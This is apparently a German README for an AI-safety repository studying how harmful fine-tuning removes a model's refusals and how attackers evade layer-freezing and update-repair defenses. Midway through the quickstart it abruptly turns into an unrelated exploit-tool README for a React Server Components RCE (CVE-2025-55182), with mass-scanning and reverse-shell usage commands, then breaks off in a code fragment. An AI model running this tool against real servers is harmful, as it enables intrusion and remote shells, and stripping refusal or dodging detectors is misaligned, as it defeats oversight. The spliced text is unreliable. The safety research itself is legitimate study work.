refusal-relocates

---

News

• [2026-09-28] Code veröffentlicht, zusammen mit den Ausführungsprotokollen und Skripten, die die Tabellen des Papers neu erstellen.

Überblick

Ein paar Dutzend schädliche Beispiele können die Verweigerung schädlicher Anfragen durch ein ausgerichtetes Modell aufheben. Frühere Arbeiten lokalisieren die Sicherheit auf bestimmte Schichten und Richtungen, was nahelegt, den gefundenen Ort zu schützen. Dieses Repository testet diese Prämisse so, wie es ein adaptiver Angreifer tun würde. Es findet heraus, wo die Verweigerung wiederhergestellt werden kann, friert diese Region ein und greift erneut an, und es repariert das Gewichtsupdate und lässt den Angreifer es dann ausbreiten.

Die Studie stützt sich auf drei Messungen.

• Die Verweigerung wird in einer Tiefe wiederhergestellt. Beim Lockstep-Patching wird der vollständige verborgene Zustand des sauberen Modells in einer Schicht an das kompromittierte Modell übergeben, beim Prefill und bei jedem Dekodierungsschritt, und die Verweigerung kehrt in einer reproduzierbaren Übergangstiefe zurück.
• Das Einfrieren dieser Tiefe verschiebt den Schaden. Im abgestimmten Vergleich mit Llama-3.1-8B verschiebt das Einfrieren der Schichten 0–17 den Übergang von Schicht 15 auf die Schichten 27 und 28, und die Verweigerung nach dem eingeschränkten Angriff beträgt 0,00 bis 0,01 gegenüber sauberen 0,92 bis 0,96.
• Die Top-Zwei-Reparatur fällt durch ein verteiltes Update. Das Entfernen der beiden obersten singulären Richtungen des Updates stellt die Verweigerung nach kurzen, nur auf Attention basierenden Fine-Tunes auf vier Checkpoints wieder her. Ein Angreifer, der das Update verteilt, reduziert die relative Top-Zwei-Reparatur auf 0,000, und ein auf 75 gutartigen Fine-Tunes kalibrierter Detektor markiert nur 3 von 14 Reparaturausfällen.

Dieses Repository enthält die Messung und beide Verteidigungen als kleine Bibliothek, plus die Ausführungsprotokolle und Skripte, die die Tabellen des Papers neu erstellen.

Was es in einem Bild zeigt

(a) Lockstep-Aktivierungspatching überschreibt die Schichtausgabe des kompromittierten Modells mit dem sauberen Zustand beim Prefill und bei jedem Dekodierungsschritt. (b) Im abgestimmten Llama-Angriff verschiebt das Einfrieren der Schichten 0–17 den Halb-Obergrenzen-Übergang von 15 auf 27–28.

Schnellstart```bash

pip install "git+https://github.com/js-lee-AI/refusal-relocates.git"

| **CVE** | **Beschreibung** | **Schweregrad** | **Betroffene Versionen** | **Behoben in** |
|---------|------------------|-----------------|--------------------------|----------------|
| CVE-2025-55182 | RCE über unsichere Deserialisierung in React Server Components | Kritisch (10.0) | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
| CVE-2025-55183 | Quellcode-Offenlegung durch manipulierte Server-Action-Anfragen | Mittel (5.3) | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
| CVE-2025-55184 | DoS durch zyklische Referenzen in Server Function Payloads | Hoch (7.5) | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
| CVE-2025-67779 | Unvollständige Behebung für CVE-2025-55184 | Hoch (7.5) | 19.0.1, 19.1.2, 19.2.1 | 19.0.2, 19.1.3, 19.2.2 |

## Installation

```bash
git clone https://github.com/yourusername/CVE-2025-55182-React2Shell.git
cd CVE-2025-55182-React2Shell
pip install -r requirements.txt

Verwendung

Grundlegende Überprüfung

python3 CVE-2025-55182.py -u https://target.com

Massenüberprüfung

python3 CVE-2025-55182.py -f urls.txt -t 20 -o results.txt

Reverse-Shell-Modus

python3 CVE-2025-55182.py -u https://target.com --shell --lhost 10.10.14.5 --lport 4444

Benutzerdefinierte Header

python3 CVE-2025-55182.py -u https://target.com -H "Authorization: Bearer token" -H "X-Custom: value"

Befehlszeilenargumente

Argument	Beschreibung	Standard
-u, --url	Ziel-URL	-
-f, --file	Datei mit URLs (eine pro Zeile)	-
-t, --threads	Anzahl der Threads	10
-o, --output	Ausgabedatei	-
--shell	Reverse-Shell-Modus aktivieren	False
--lhost	Listener-Host für Reverse Shell	-
--lport	Listener-Port für Reverse Shell	-
-H, --header	Benutzerdefinierter Header (wiederholbar)	-
--timeout	Anfrage-Timeout in Sekunden	10
--proxy	Proxy-URL	-
-v, --verbose	Ausführliche Ausgabe	False

Funktionsweise

1. Erkennung: Sendet eine speziell gestaltete Anfrage an den React Server Components-Endpunkt, um die Anfälligkeit zu bestätigen.
2. Ausnutzung: Erstellt eine bösartige Payload, die bei der Deserialisierung eine Remotecodeausführung auslöst.
3. Ausführung: Führt den angegebenen Befehl auf dem Zielserver aus und gibt die Ausgabe zurück.

Beispielausgabe

[*] Target: https://target.com
[*] Checking vulnerability...
[+] Target is VULNERABLE to CVE-2025-55182
[*] Executing command: id
[+] Output: uid=0(root) gid=0(root) groups=0(root)

Einschränkungen

• Erfordert, dass der Zielserver React Server Components verwendet
• Funktioniert nur gegen Versionen 19.0.0, 19.1.0, 19.1.1, 19.2.0
• Einige WAFs können die Ausnutzung blockieren

Haftungsausschluss

Dieses Tool ist nur für autorisierte Sicherheitstests und Bildungszwecke bestimmt. Die Verwendung gegen Systeme ohne vorherige Genehmigung ist illegal. Die Autoren übernehmen keine Haftung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.```python import numpy as np import refusal